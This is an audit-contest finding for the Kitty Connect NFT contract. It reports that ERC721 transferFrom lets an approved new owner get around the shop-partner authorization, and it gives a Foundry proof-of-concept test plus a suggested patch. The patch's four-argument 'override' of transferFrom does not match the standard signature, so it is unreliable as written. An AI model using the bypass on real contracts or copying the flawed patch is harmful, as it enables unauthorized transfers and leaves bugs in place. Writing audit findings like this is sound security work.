First Flight #12: Kitty Connect
First Flight #12: Kitty Connect
Beginner FriendlyFoundryNFTGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Bypassing Shop Authorization Access Control via `ERC721::transferFrom`

4rdiii

[M-2] Bypassing Shop Authorization Access Control via ERC721::transferFrom

Description: The NFT bridge protocol utilizes an overridden safeTransferFrom function to ensure that the transfer of Kitty NFTs between users is authorized by shop partners. This mechanism is prbably designed to ensure cats security!! by ensuring that all transfers are approved by the designated shop partners. However, after the current owner approves the NFT transfer, the new owner can subsequently use the ERC721::transferFrom function to transfer the NFT without the required shop authorization.

Impact: It can enable unauthorized transfers, and also because the transfer is not done via safeTransferFrom the KittyConnect::_updateOwnershipInfo is not called and the storage variables and mappings saving cats owners data are not updated.

Proof of Concept:
Exploit Steps:

  1. currOwner (user) approves transfer to newOwner

  2. newOwner transfers the NFT using transferFrom
    use the following test in the protocol test suit:

function test_newOwnerCanTransferUsingTransferFrom()
public
partnerGivesCatToOwner
{
uint256 tokenId = kittyConnect.getTokenCounter() - 1;
address newOwner = makeAddr("newOwner");
// user approves the transfer
vm.prank(user);
kittyConnect.approve(newOwner, tokenId);
// newOwner transfers using transferFrom instead of safeTransferFrom
vm.prank(newOwner);
kittyConnect.transferFrom(user, newOwner, tokenId);
​
uint256[] memory user_tokens = kittyConnect.getCatsTokenIdOwnedBy(user);
uint256[] memory newOwner_tokens = kittyConnect.getCatsTokenIdOwnedBy(
newOwner
);
assertEq(kittyConnect.balanceOf(newOwner), 1); // newOwner has the NFT
assertEq(user_tokens.length, 1); // the s_ownerToCatsTokenId of current owner is not updated
assertEq(newOwner_tokens.length, 0); // the s_ownerToCatsTokenId of new owner is not updated
}
​

Recommended Mitigation: To fix this issue we can also override the transferFrom function to use onlyShopPartner modifier and also update the state variables.

+function transferFrom(
+ address currCatOwner,
+ address newOwner,
+ uint256 tokenId,
+ bytes memory data
+ ) public override onlyShopPartner {
+ require(
+ _ownerOf(tokenId) == currCatOwner,
+ "KittyConnect__NotKittyOwner"
+ );
​
+ require(
+ getApproved(tokenId) == newOwner,
+ "KittyConnect__NewOwnerNotApproved"
+ );
​
+ _updateOwnershipInfo(currCatOwner, newOwner, tokenId);
​
+ emit CatTransferredToNewOwner(currCatOwner, newOwner, tokenId);
+ _safeTransfer(currCatOwner, newOwner, tokenId, data);
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ERC721 `transferFrom` not overriden

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.